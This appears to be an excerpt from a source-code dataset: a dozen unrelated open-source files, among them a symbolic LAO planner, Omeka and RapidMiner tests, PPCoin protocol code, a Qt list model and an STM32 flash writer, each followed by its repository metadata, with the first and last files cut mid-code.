dd_node_ptr(Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); states_frontier_ = dd_node_ptr(Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); mdp_->connect_bdd(policy_deterministic_transitions_); mdp_->connect_bdd(forward_reachable_states_); mdp_->connect_bdd(backward_reachable_states_); mdp_->connect_bdd(states_frontier_); } catch (BaseException& error) { error.push_function_backtrace("SymbolicLAO::SymbolicLAO"); throw; } SymbolicLAO::~SymbolicLAO() { mdp_->disconnect_bdd(policy_deterministic_transitions_); mdp_->disconnect_bdd(forward_reachable_states_); mdp_->disconnect_bdd(backward_reachable_states_); mdp_->disconnect_bdd(states_frontier_); } void SymbolicLAO::solve_initialize(const PddlState& st) { SymbolicHeuristicAlgorithm::solve_initialize(st); forward_reachable_states_.copy(initial_state_); states_frontier_.copy(initial_state_); policy_deterministic_transitions_ = dd_node_ptr(Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); } void SymbolicLAO::solve_progress() { compute_backward_reachability(); optimize(backward_reachable_states_); compute_forward_reachability(); } bool SymbolicLAO::has_converged() { return (states_frontier_.get() == Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); } void SymbolicLAO::compute_backward_reachability() { backward_reachable_states_.copy(states_frontier_); dd_node_ptr backward_frontier; backward_frontier.copy(states_frontier_); while (backward_frontier.get() != Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())) { dd_node_ptr previous_states(Cudd_bddPermute(dd_node_ptr::get_cudd_manager(), backward_frontier.get(), mdp_->get_unprimed_to_primed_permutation())); previous_states = dd_node_ptr(Cudd_bddAnd(dd_node_ptr::get_cudd_manager(), policy_deterministic_transitions_.get(), previous_states.get())); previous_states = dd_node_ptr(Cudd_bddExistAbstract(dd_node_ptr::get_cudd_manager(), previous_states.get(), mdp_->get_primed_variables_bdd_cube().get())); backward_frontier = dd_node_ptr(Cudd_bddAnd(dd_node_ptr::get_cudd_manager(), backward_reachable_states_.get(), previous_states.get())); backward_frontier = dd_node_ptr(Cudd_bddXor(dd_node_ptr::get_cudd_manager(), backward_frontier.get(), previous_states.get())); backward_reachable_states_ = dd_node_ptr(Cudd_bddOr(dd_node_ptr::get_cudd_manager(), backward_reachable_states_.get(), backward_frontier.get())); } } void SymbolicLAO::compute_forward_reachability() { forward_reachable_states_.copy(initial_state_); dd_node_ptr forward_frontier; forward_frontier.copy(initial_state_); states_frontier_ = dd_node_ptr(Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())); policy_deterministic_transitions_ = compute_policy_deterministic_transitions(explored_states_); while (forward_frontier.get() != Cudd_ReadLogicZero(dd_node_ptr::get_cudd_manager())) { dd_node_ptr next_states(Cudd_bddAnd(dd_node_ptr::get_cudd_manager(), forward_frontier.get(), policy_deterministic_transitions_.get())); next_states = dd_node_ptr(Cudd_bddExistAbstract(dd_node_ptr::get_cudd_manager(), next_states.get(), mdp_->get_unprimed_variables_bdd_cube().get())); next_states = dd_node_ptr(Cudd_bddPermute(dd_node_ptr::get_cudd_manager(), next_states.get(), mdp_->get_primed_to_unprimed_permutation())); forward_frontier = dd_node_ptr(Cudd_bddAnd(dd_node_ptr::get_cudd_manager(), next_states.get(), forward_reachable_states_.get())); forward_frontier = dd_node_ptr(Cudd_bddXor(dd_node_ptr::get_cudd_manager(), next_states.get(), forward_frontier.get())); dd_node_ptr new_states_frontier = forward_frontier; forward_reachable_states_ = dd_node_ptr(Cudd_bddOr(dd_node_ptr::get_cudd_manager(), forward_reachable_states_.get(), new_states_frontier.get())); forward_frontier = dd_node_ptr(Cudd_bddAnd(dd_node_ptr::get_cudd_manager(), new_states_frontier.get(), tip_states_.get())); states_frontier_ = dd_node_ptr(Cudd_bddOr(dd_node_ptr::get_cudd_manager(), states_frontier_.get(), forward_frontier.get())); forward_frontier = dd_node_ptr(Cudd_bddXor(dd_node_ptr::get_cudd_manager(), new_states_frontier.get(), forward_frontier.get())); } initialize(states_frontier_); }
fteicht/ppddl-planner
src/algorithms/symbolic_lao.cc
C++
gpl-3.0
5,674
define(['forum/accountheader'], function(header) { var AccountSettings = {}; AccountSettings.init = function() { header.init(); $('#submitBtn').on('click', function() { var settings = { showemail: $('#showemailCheckBox').is(':checked') ? 1 : 0 }; socket.emit('user.saveSettings', settings, function(err) { if (err) { return app.alertError('There was an error saving settings!'); } app.alertSuccess('Settings saved!'); }); return false; }); }; return AccountSettings; });
changyou/NadBB
public/src/forum/accountsettings.js
JavaScript
gpl-3.0
522
<?php /** * @version $Id$ * @copyright Center for History and New Media, 2007-2010 * @license http://www.gnu.org/licenses/gpl-3.0.txt * @package Omeka **/ /** * * * @package Omeka * @copyright Center for History and New Media, 2007-2010 **/ class Omeka_File_Derivative_Image_Creator_CreatorTest extends PHPUnit_Framework_TestCase { public function setUp() { try { $this->convertDir = Zend_Registry::get('test_config')->paths->imagemagick; } catch (Zend_Exception $e) { $this->convertDir = dirname(`which convert`); } $this->invalidFile = '/foo/bar/baz.html'; $this->validFilePath = dirname(__FILE__) . '/_files/valid-image.jpg'; $this->validMimeType = 'image/jpeg'; $this->fullsizeImgType = 'fullsize'; $this->derivativeFilename = 'valid-image_deriv.jpg'; // If we set up a test log, then log the ImageMagick commands instead // of executing via the commandline. $this->logWriter = new Zend_Log_Writer_Mock; $this->testLog = new Zend_Log($this->logWriter); } public function testConstructor() { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); $this->assertEquals("{$this->convertDir}/convert", $creator->getConvertPath()); } public function testCreateWithoutProvidingDerivativeFilename() { try { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); $creator->create($this->validFilePath, '', $this->validMimeType); } catch (InvalidArgumentException $e) { $this->assertContains("Invalid derivative filename", $e->getMessage()); return; } $this->fail("create() should have failed when a derivative filename was not provided."); } public function testCreateWithInvalidConvertPath() { try { $creator = new Omeka_File_Derivative_Image_Creator('/foo/bar'); } catch (Omeka_File_Derivative_Exception $e) { $this->assertContains("invalid directory", $e->getMessage()); return; } $this->fail("Instantiating with a valid convert path failed to throw an exception."); } public function testCreate() { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); // Should do nothing. $creator->create($this->validFilePath, $this->derivativeFilename, $this->validMimeType); } public function testCreateWithInvalidOriginalFile() { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); try { $creator->create($this->invalidFile, $this->derivativeFilename, $this->validMimeType); } catch (Exception $e) { $this->assertContains("does not exist", $e->getMessage()); return; } $this->fail("Failed to throw an exception when given an invalid original file."); } public function testAddDerivativeWithInvalidDerivativeType() { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); try { $creator->addDerivative("/foo/bar/baz", 20); } catch (Exception $e) { $this->assertContains("Invalid derivative type", $e->getMessage()); return; } $this->fail("Failed to throw exception when given invalid type name for image derivatives."); } public function testCreateWithDerivativeImgSize() { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); $creator->addDerivative($this->fullsizeImgType, 10); $creator->create($this->validFilePath, $this->derivativeFilename, $this->validMimeType); $newFilePath = dirname($this->validFilePath) . '/' . $this->fullsizeImgType . '_' . $this->derivativeFilename; $this->assertTrue(file_exists($newFilePath)); unlink($newFilePath); } public function testCreateWithDerivativeCommandArgs() { $creator = new Omeka_File_Derivative_Image_Creator($this->convertDir); } }
sipes23/Omeka
application/tests/unit/libraries/Omeka/File/Derivative/Image/CreatorTest.php
PHP
gpl-3.0
4,163
/** * Copyright (C) 2001-2016 by RapidMiner and the contributors * * Complete list of developers available at our web site: * * http://rapidminer.com * * This program is free software: you can redistribute it and/or modify it under the terms of the * GNU Affero General Public License as published by the Free Software Foundation, either version 3 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License along with this program. * If not, see http://www.gnu.org/licenses/. */ package com.rapidminer.example.test; import java.util.Arrays; import java.util.LinkedList; import java.util.List; import java.util.Random; import com.rapidminer.example.Attribute; import com.rapidminer.example.Attributes; import com.rapidminer.example.ExampleSet; import com.rapidminer.example.table.AttributeFactory; import com.rapidminer.example.table.DataRow; import com.rapidminer.example.table.DataRowFactory; import com.rapidminer.example.table.DataRowReader; import com.rapidminer.example.table.DoubleArrayDataRow; import com.rapidminer.example.table.ListDataRowReader; import com.rapidminer.example.table.MemoryExampleTable; import com.rapidminer.tools.Ontology; /** * Provides factory methods for text fixtures. * * @author Simon Fischer, Ingo Mierswa */ public class ExampleTestTools { /** Returns a DataRowReader returning the given values. */ public static DataRowReader createDataRowReader(DataRowFactory factory, Attribute[] attributes, String[][] values) { List<DataRow> dataRows = new LinkedList<DataRow>(); for (int i = 0; i < values.length; i++) { dataRows.add(factory.create(values[i], attributes)); } return new ListDataRowReader(dataRows.iterator()); } /** Returns a DataRowReader returning the given values. */ public static DataRowReader createDataRowReader(double[][] values) { List<DataRow> dataRows = new LinkedList<DataRow>(); for (int i = 0; i < values.length; i++) { dataRows.add(new DoubleArrayDataRow(values[i])); } return new ListDataRowReader(dataRows.iterator()); } /** * Returns a DataRowReader returning random values (generated with fixed * random seed). */ public static DataRowReader createDataRowReader(int size, Attribute[] attributes) { Random random = new Random(0); List<DataRow> dataRows = new LinkedList<DataRow>(); for (int i = 0; i < size; i++) { double[] data = new double[attributes.length]; for (int j = 0; j < data.length; j++) { if (attributes[j].isNominal()) { data[j] = random.nextInt(attributes[j].getMapping().getValues().size()); } if (attributes[j].getValueType() == Ontology.INTEGER) { data[j] = random.nextInt(200) - 100; } else { data[j] = 20.0 * random.nextDouble() - 10.0; } } dataRows.add(new DoubleArrayDataRow(data)); } return new ListDataRowReader(dataRows.iterator()); } public static MemoryExampleTable createMemoryExampleTable(int size) { Attribute[] attributes = createFourAttributes(); return new MemoryExampleTable(Arrays.asList(attributes), createDataRowReader(size, attributes)); } public static Attribute attributeDogCatMouse() { Attribute a = AttributeFactory.createAttribute("animal", Ontology.NOMINAL); a.getMapping().mapString("dog"); a.getMapping().mapString("cat"); a.getMapping().mapString("mouse"); return a; } public static Attribute attributeYesNo() { Attribute a = AttributeFactory.createAttribute("decision", Ontology.NOMINAL); a.getMapping().mapString("no"); a.getMapping().mapString("yes"); return a; } public static Attribute attributeInt() { Attribute a = AttributeFactory.createAttribute("integer", Ontology.INTEGER); return a; } public static Attribute attributeReal() { Attribute a = AttributeFactory.createAttribute("real", Ontology.REAL); return a; } public static Attribute attributeReal(int index) { Attribute a = AttributeFactory.createAttribute("real" + index, Ontology.REAL); return a; } /** * Creates four attributes: "animal" (dog/cat/mouse), "decision" (yes/no), * "int", and "real". */ public static Attribute[] createFourAttributes() { Attribute[] attributes = new Attribute[4]; attributes[0] = ExampleTestTools.attributeDogCatMouse(); attributes[1] = ExampleTestTools.attributeYesNo(); attributes[2] = ExampleTestTools.attributeInt(); attributes[3] = ExampleTestTools.attributeReal(); for (int i = 0; i < attributes.length; i++) attributes[i].setTableIndex(i); return attributes; } public static Attribute createPredictedLabel(ExampleSet exampleSet) { Attribute predictedLabel = AttributeFactory.createAttribute(exampleSet.getAttributes().getLabel(), Attributes.PREDICTION_NAME); exampleSet.getExampleTable().addAttribute(predictedLabel); exampleSet.getAttributes().setPredictedLabel(predictedLabel); return predictedLabel; } }
transwarpio/rapidminer
rapidMiner/rapidminer-studio-core/src/test/java/com/rapidminer/example/test/ExampleTestTools.java
Java
gpl-3.0
5,152
// Decompiled with JetBrains decompiler // Type: System.CodeDom.Compiler.CodeParser // Assembly: System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 // MVID: 5ABD58FD-DF31-44FD-A492-63F2B47CC9AF // Assembly location: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.dll using System.CodeDom; using System.IO; using System.Runtime; using System.Security.Permissions; namespace System.CodeDom.Compiler { /// <summary> /// Provides an empty implementation of the <see cref="T:System.CodeDom.Compiler.ICodeParser"/> interface. /// </summary> [PermissionSet(SecurityAction.InheritanceDemand, Name = "FullTrust")] [PermissionSet(SecurityAction.LinkDemand, Name = "FullTrust")] public abstract class CodeParser : ICodeParser { /// <summary> /// Initializes a new instance of the <see cref="T:System.CodeDom.Compiler.CodeParser"/> class. /// </summary> [TargetedPatchingOptOut("Performance critical to inline this type of method across NGen image boundaries")] protected CodeParser() { } /// <summary> /// Compiles the specified text stream into a <see cref="T:System.CodeDom.CodeCompileUnit"/>. /// </summary> /// /// <returns> /// A <see cref="T:System.CodeDom.CodeCompileUnit"/> containing the code model produced from parsing the code. /// </returns> /// <param name="codeStream">A <see cref="T:System.IO.TextReader"/> that is used to read the code to be parsed. </param> public abstract CodeCompileUnit Parse(TextReader codeStream); } }
mater06/LEGOChimaOnlineReloaded
LoCO Client Files/Decompressed Client/Extracted DLL/System/System/CodeDom/Compiler/CodeParser.cs
C#
gpl-3.0
1,547
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2012 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "protocol.h" #include "util.h" #include "netbase.h" #ifndef WIN32 # include <arpa/inet.h> #endif // The message start string is designed to be unlikely to occur in normal data. // The characters are rarely used upper ascii, not valid as UTF-8, and produce // a large 4-byte int at any alignment. // Public testnet message start // unsigned char pchMessageStartTestBitcoin[4] = { 0xfa, 0xbf, 0xb5, 0xda }; static unsigned char pchMessageStartTestOld[4] = { 0xdb, 0xe1, 0xf2, 0xf6 }; static unsigned char pchMessageStartTestNew[4] = { 0xcb, 0xf2, 0xc0, 0xef }; static unsigned int nMessageStartTestSwitchTime = 1346200000; // PPCoin message start (switch from Bitcoin's in v0.2) static unsigned char pchMessageStartBitcoin[4] = { 0xf9, 0xbe, 0xb4, 0xd9 }; static unsigned char pchMessageStartPPCoin[4] = { 0xe6, 0xe8, 0xe9, 0x02 }; static unsigned int nMessageStartSwitchTime = 1347300000; void GetMessageStart(unsigned char pchMessageStart[], bool fPersistent) { if (fTestNet) memcpy(pchMessageStart, (fPersistent || GetAdjustedTime() > nMessageStartTestSwitchTime)? pchMessageStartTestNew : pchMessageStartTestOld, sizeof(pchMessageStartTestNew)); else memcpy(pchMessageStart, (fPersistent || GetAdjustedTime() > nMessageStartSwitchTime)? pchMessageStartPPCoin : pchMessageStartBitcoin, sizeof(pchMessageStartPPCoin)); } static const char* ppszTypeName[] = { "ERROR", "tx", "block", }; CMessageHeader::CMessageHeader() { GetMessageStart(pchMessageStart); memset(pchCommand, 0, sizeof(pchCommand)); pchCommand[1] = 1; nMessageSize = -1; nChecksum = 0; } CMessageHeader::CMessageHeader(const char* pszCommand, unsigned int nMessageSizeIn) { GetMessageStart(pchMessageStart); strncpy(pchCommand, pszCommand, COMMAND_SIZE); nMessageSize = nMessageSizeIn; nChecksum = 0; } std::string CMessageHeader::GetCommand() const { if (pchCommand[COMMAND_SIZE-1] == 0) return std::string(pchCommand, pchCommand + strlen(pchCommand)); else return std::string(pchCommand, pchCommand + COMMAND_SIZE); } bool CMessageHeader::IsValid() const { // Check start string unsigned char pchMessageStartProtocol[4]; GetMessageStart(pchMessageStartProtocol); if (memcmp(pchMessageStart, pchMessageStartProtocol, sizeof(pchMessageStart)) != 0) return false; // Check the command string for errors for (const char* p1 = pchCommand; p1 < pchCommand + COMMAND_SIZE; p1++) { if (*p1 == 0) { // Must be all zeros after the first zero for (; p1 < pchCommand + COMMAND_SIZE; p1++) if (*p1 != 0) return false; } else if (*p1 < ' ' || *p1 > 0x7E) return false; } // Message size if (nMessageSize > MAX_SIZE) { printf("CMessageHeader::IsValid() : (%s, %u bytes) nMessageSize > MAX_SIZE\n", GetCommand().c_str(), nMessageSize); return false; } return true; } CAddress::CAddress() : CService() { Init(); } CAddress::CAddress(CService ipIn, uint64 nServicesIn) : CService(ipIn) { Init(); nServices = nServicesIn; } void CAddress::Init() { nServices = NODE_NETWORK; nTime = 100000000; nLastTry = 0; } CInv::CInv() { type = 0; hash = 0; } CInv::CInv(int typeIn, const uint256& hashIn) { type = typeIn; hash = hashIn; } CInv::CInv(const std::string& strType, const uint256& hashIn) { unsigned int i; for (i = 1; i < ARRAYLEN(ppszTypeName); i++) { if (strType == ppszTypeName[i]) { type = i; break; } } if (i == ARRAYLEN(ppszTypeName)) throw std::out_of_range(strprintf("CInv::CInv(string, uint256) : unknown type '%s'", strType.c_str())); hash = hashIn; } bool operator<(const CInv& a, const CInv& b) { return (a.type < b.type || (a.type == b.type && a.hash < b.hash)); } bool CInv::IsKnownType() const { return (type >= 1 && type < (int)ARRAYLEN(ppszTypeName)); } const char* CInv::GetCommand() const { if (!IsKnownType()) throw std::out_of_range(strprintf("CInv::GetCommand() : type=%d unknown type", type)); return ppszTypeName[type]; } std::string CInv::ToString() const { return strprintf("%s %s", GetCommand(), hash.ToString().substr(0,20).c_str()); } void CInv::print() const { printf("CInv(%s)\n", ToString().c_str()); }
bitcf/bitcf
src/protocol.cpp
C++
gpl-3.0
4,685
"""Feat components.""" from component_objects import Component, Element class FeatAddModal(Component): """Definition of feat add modal component.""" modal_div_id = 'addFeat' name_id = 'featAddNameInput' description_id = 'featAddDescriptionTextarea' tracked_id = 'featAddTrackedCheckbox' max_id = 'featAddMaxInput' short_rest_id = 'featAddShortRestInput' long_rest_id = 'featAddLongRestInput' add_id = 'featAddAddButton' modal_div = Element(id_=modal_div_id) name = Element(id_=name_id) description = Element(id_=description_id) tracked = Element(id_=tracked_id) max_ = Element(id_=max_id) short_rest = Element(id_=short_rest_id) long_rest = Element(id_=long_rest_id) add = Element(id_=add_id) class FeatEditModal(Component): """Definition of feat edit modal component.""" modal_div_id = 'viewWeapon' name_id = 'featEditNameInput' description_id = 'featEditDescriptionTextarea' tracked_id = 'featEditTrackedCheckbox' max_id = 'featEditMaxInput' short_rest_id = 'featEditShortRestInput' long_rest_id = 'featEditLongRestInput' done_id = 'featEditDoneButton' modal_div = Element(id_=modal_div_id) name = Element(id_=name_id) description = Element(id_=description_id) tracked = Element(id_=tracked_id) max_ = Element(id_=max_id) short_rest = Element(id_=short_rest_id) long_rest = Element(id_=long_rest_id) done = Element(id_=done_id) class FeatModalTabs(Component): """Definition of feat modal tabs component.""" preview_id = 'featModalPreview' edit_id = 'featModalEdit' preview = Element(id_=preview_id) edit = Element(id_=edit_id) class FeatsTable(Component): """Definition of feats edit modal componenet.""" add_id = 'featAddIcon' table_id = 'featTable' add = Element(id_=add_id) table = Element(id_=table_id)
adventurerscodex/uat
components/core/character/feats.py
Python
gpl-3.0
1,902
package introsde.rest.client; import java.net.URI; import javax.ws.rs.client.Client; import javax.ws.rs.client.ClientBuilder; import javax.ws.rs.client.WebTarget; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.UriBuilder; import org.glassfish.jersey.client.ClientConfig; public class Test { public static void main(String[] args) { ClientConfig clientConfig = new ClientConfig(); Client client = ClientBuilder.newClient(clientConfig); WebTarget service = client.target(getBaseURI()); //1. http://localhost:5700/salutation/Cristhian?age=32 // // GET BASEURL/rest/helloworld // // Accept: text/plain System.out.println(service.path("salutation").request().accept(MediaType.TEXT_PLAIN).get().readEntity(String.class)); // 2. http://localhost:5700/salutation/Cristhian?age=32/salutation // // Get plain text System.out.println(service.path("salutation") .request().accept(MediaType.TEXT_PLAIN).get().readEntity(String.class)); // Get XML System.out.println(service.path("salutation") .request() .accept(MediaType.TEXT_XML).get().readEntity(String.class)); // // The HTML System.out.println(service.path("salutation").request() .accept(MediaType.TEXT_HTML).get().readEntity(String.class)); System.out.println(service.path("salutation").request() .accept(MediaType.APPLICATION_JSON).get().readEntity(String.class)); } private static URI getBaseURI() { return UriBuilder.fromUri( "http://localhost:5700/").build(); } }
IntroSDE/introsde
lab05/Examples/src/introsde/rest/client/Test.java
Java
gpl-3.0
1,518
#include "prizelistmodel.h" #include <QStringList> prizelistmodel::prizelistmodel(QObject *parent) : QAbstractListModel(parent) { content = new QStringList; } QVariant prizelistmodel::data(const QModelIndex &index, int role) const { if( !index.isValid() || index.row() > content->size() || (role != Qt::DisplayRole && role != Qt::EditRole) ) return QVariant(); if( index.row() == content->size() ) return QString(); else return content->at(index.row()); } bool prizelistmodel::setData(const QModelIndex &index, const QVariant &value, int role) { if( index.row() > content->size() || value.type() != QVariant::String || role != Qt::EditRole ) return false; bool ok = true; if( index.row() == content->size() ) ok = insertRows(index.row(),1,QModelIndex(),value.toString()); else (*content)[index.row()] = value.toString(); if( ok ) emit dataChanged(index,index); return ok; } int prizelistmodel::rowCount(const QModelIndex &) const { return content->size()+1; } Qt::ItemFlags prizelistmodel::flags(const QModelIndex &) const { return Qt::ItemIsSelectable | Qt::ItemIsEditable | Qt::ItemIsEnabled; } QVariant prizelistmodel::headerData(int section, Qt::Orientation orientation, int role) const { if( role != Qt::DisplayRole ) return QVariant(); if( orientation == Qt::Horizontal ) return tr("Preis"); else //Qt::Vertical return section+1; } bool prizelistmodel::insertRows(int row, int count, const QModelIndex &parent, const QString &value) { if( row > content->size() || count == 0 ) return false; if( row < 0 ) row = 0; beginInsertRows(parent,row+1,row+count); for(int num = 0; num < count; num++) content->insert(row+1,value); endInsertRows(); return true; } bool prizelistmodel::removeRows(int row, int count, const QModelIndex &parent) { if( row < 0 || row >= content->size() ) return false; beginRemoveRows(parent,row,row+count-1); for(int num = 0; num < count; num++) content->removeAt(row); endRemoveRows(); return true; } void prizelistmodel::clear() { beginResetModel(); content->clear(); endResetModel(); } void prizelistmodel::newData() { beginResetModel(); endResetModel(); } bool prizelistmodel::moveRowDown(int row) { if( row < 0 || row >= content->size() ) //don't move the "pseudo-row" return false; if( row == content->size()-1 ) //we can't move anything below the pseudo-row, instead we insert a blank row above return insertRows(row-1,1,QModelIndex()); content->swap(row,row+1); emit dataChanged(createIndex(row,0),createIndex(row+1,0)); return true; } bool prizelistmodel::moveRowUp(int row) { if( row < 1 || row >= content->size() ) //don't move hightest row return false; content->swap(row-1,row); emit dataChanged(createIndex(row-1,0),createIndex(row,0)); return true; } bool prizelistmodel::duplicateRow(int row) { if( row < 0 || row >= content->size() ) return false; beginInsertRows(QModelIndex(),row+1,row+1); content->insert(row+1,content->at(row)); endInsertRows(); return true; }
flesniak/duckracer2
prizelistmodel.cpp
C++
gpl-3.0
3,254
/** * This file is part of alf.io. * * alf.io is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * alf.io is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with alf.io. If not, see <http://www.gnu.org/licenses/>. */ package alfio.manager.payment.saferpay; import com.google.gson.JsonObject; import com.google.gson.JsonParser; import com.google.gson.stream.JsonWriter; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; import java.io.IOException; import java.io.StringWriter; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNull; @DisplayName("Request Header") class RequestHeaderBuilderTest { @Test void appendToComplete() throws IOException { var requestBuilder = new RequestHeaderBuilder("customerId", "requestId", 1); var out = new StringWriter(); requestBuilder.appendTo(new JsonWriter(out).beginObject()).endObject().flush(); checkJson(JsonParser.parseString(out.toString()).getAsJsonObject(), true); } @Test void appendToNoRetry() throws IOException { var requestBuilder = new RequestHeaderBuilder("customerId", "requestId", null); var out = new StringWriter(); requestBuilder.appendTo(new JsonWriter(out).beginObject()).endObject().flush(); checkJson(JsonParser.parseString(out.toString()).getAsJsonObject(), false); } private void checkJson(JsonObject json, boolean expectRetry) { var requestHeader = json.get("RequestHeader").getAsJsonObject(); assertEquals("customerId", requestHeader.get("CustomerId").getAsString()); assertEquals("requestId", requestHeader.get("RequestId").getAsString()); if(expectRetry) { assertEquals("1", requestHeader.get("RetryIndicator").getAsString()); } else { assertNull(requestHeader.get("RetryIndicator")); } } }
exteso/alf.io
src/test/java/alfio/manager/payment/saferpay/RequestHeaderBuilderTest.java
Java
gpl-3.0
2,377
/* * QuestManager: An RPG plugin for the Bukkit API. * Copyright (C) 2015-2016 Github Contributors * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.skyisland.questmanager.effects; import org.bukkit.Effect; import org.bukkit.Location; import org.bukkit.Material; import org.bukkit.entity.Entity; import org.bukkit.entity.Player; /** * Effect signaling to the player that the entity they just interacted with was correct. * This EFFECT was made with the 'slay' requirement in mind, where it'll display effects when you kill * the right kind of enemy. * */ public class EntityConfirmEffect extends QuestEffect { private static final Effect EFFECT = Effect.STEP_SOUND; @SuppressWarnings("deprecation") private static final int BLOCK_TYPE = Material.EMERALD_BLOCK.getId(); /** * The number of particals */ private int magnitude; /** * * @param magnitude The number of particals, roughly */ public EntityConfirmEffect(int magnitude) { this.magnitude = magnitude; } @SuppressWarnings("deprecation") @Override public void play(Entity player, Location effectLocation) { if (!(player instanceof Player)) { return; } for (int i = 0; i < magnitude; i++) ((Player) player ) .playEffect(effectLocation, EFFECT, BLOCK_TYPE); } }
Dove-Bren/QuestManager
src/main/java/com/skyisland/questmanager/effects/EntityConfirmEffect.java
Java
gpl-3.0
1,904
/*====================================================================== maker :jiaxing.shen date :2014.12.10 email :55954781@qq.com ======================================================================*/ #include "m_include.h" #include "m_nvic.h" #include "m_eep.h" #include "stm32746g_discovery.h" #include "stm32f7xx_hal_flash.h" // //====================================================================== // 写入 //====================================================================== void c_eep::wirte(uint8 *source, uint32 tarAddr, uint16 len) { uint32_t FirstSector = 0, NbOfSectors = 0; uint32_t Address = 0, SECTORError = 0; __IO uint32_t data32 = 0 , MemoryProgramStatus = 0; FLASH_EraseInitTypeDef EraseInitStruct; // //------------------------------------ // 0. 关闭系统中断 nvic.globalDisable(); // //------------------------------------ // 1. 开启内部高速时钟 // RCC->CR |= ((uint32_t)RCC_CR_HSION); // while((RCC->CR & RCC_CR_HSIRDY) == 0); // //------------------------------------ // 2. 解锁 HAL_FLASH_Unlock(); // //------------------------------------ // 3. 擦除并写入数据 /* Get the 1st sector to erase */ FirstSector = GetSector(tarAddr); /* Get the number of sector to erase from 1st sector*/ NbOfSectors = 1; /* Fill EraseInit structure*/ EraseInitStruct.TypeErase = FLASH_TYPEERASE_SECTORS; EraseInitStruct.VoltageRange = FLASH_VOLTAGE_RANGE_3; EraseInitStruct.Sector = FirstSector; EraseInitStruct.NbSectors = NbOfSectors; if (HAL_FLASHEx_Erase(&EraseInitStruct, &SECTORError) != HAL_OK) { while (1) { /* Make LED1 blink (100ms on, 2s off) to indicate error in Erase operation */ BSP_LED_On(LED1); HAL_Delay(100); BSP_LED_Off(LED1); HAL_Delay(2000); } } Address = tarAddr; //while (Address < tarAddr) for(int i=0; i<len; i++) { if (HAL_FLASH_Program(FLASH_TYPEPROGRAM_BYTE, Address, *source) == HAL_OK) { Address = Address + 1; source++; } else { /* Error occurred while writing data in Flash memory. User can add here some code to deal with this error */ while (1) { /* Make LED1 blink (100ms on, 2s off) to indicate error in Write operation */ BSP_LED_On(LED1); HAL_Delay(100); BSP_LED_Off(LED1); HAL_Delay(2000); } } } // EraseSector(tarAddr); // ProgramPage(tarAddr, len, source); // //------------------------------------ // 4. 锁定 HAL_FLASH_Lock(); // //------------------------------------ // 5. 关闭内部高速时钟 //RCC->CR &= ~((uint32_t)RCC_CR_HSION); // while(RCC->CR & RCC_CR_HSIRDY); // //------------------------------------ // 6. 开启中断 nvic.globalEnable(); } // //====================================================================== // 初始化EEP 功能 //====================================================================== /* * Initialize Flash Programming Functions * Parameter: adr: Device Base Address * clk: Clock Frequency (Hz) * fnc: Function Code (1 - Erase, 2 - Program, 3 - Verify) * Return Value: 0 - OK, 1 - Failed */ int c_eep::Init () { HAL_FLASH_Lock(); } // //====================================================================== // 结束解锁 //====================================================================== /* * De-Initialize Flash Programming Functions * Parameter: fnc: Function Code (1 - Erase, 2 - Program, 3 - Verify) * Return Value: 0 - OK, 1 - Failed */ int c_eep::UnInit () { HAL_FLASH_Unlock(); } // //====================================================================== // 扇区擦除 //====================================================================== /* * Erase Sector in Flash Memory * Parameter: adr: Sector Address * Return Value: 0 - OK, 1 - Failed */ int c_eep::EraseSector (unsigned long adr) { FLASH_Erase_Sector(adr,FLASH_VOLTAGE_RANGE_1);//? } // //====================================================================== // 页编程 //====================================================================== /* * Program Page in Flash Memory * Parameter: adr: Page Start Address * sz: Page Size * buf: Page Data * Return Value: 0 - OK, 1 - Failed */ int c_eep::ProgramPage (unsigned long adr, unsigned long sz, unsigned char *buf) { } /** * @brief Gets the sector of a given address * @param None * @retval The sector of a given address */ int c_eep::GetSector(uint32_t Address) { uint32_t sector = 0; if((Address < ADDR_FLASH_SECTOR_1) && (Address >= ADDR_FLASH_SECTOR_0)) { sector = FLASH_SECTOR_0; } else if((Address < ADDR_FLASH_SECTOR_2) && (Address >= ADDR_FLASH_SECTOR_1)) { sector = FLASH_SECTOR_1; } else if((Address < ADDR_FLASH_SECTOR_3) && (Address >= ADDR_FLASH_SECTOR_2)) { sector = FLASH_SECTOR_2; } else if((Address < ADDR_FLASH_SECTOR_4) && (Address >= ADDR_FLASH_SECTOR_3)) { sector = FLASH_SECTOR_3; } else if((Address < ADDR_FLASH_SECTOR_5) && 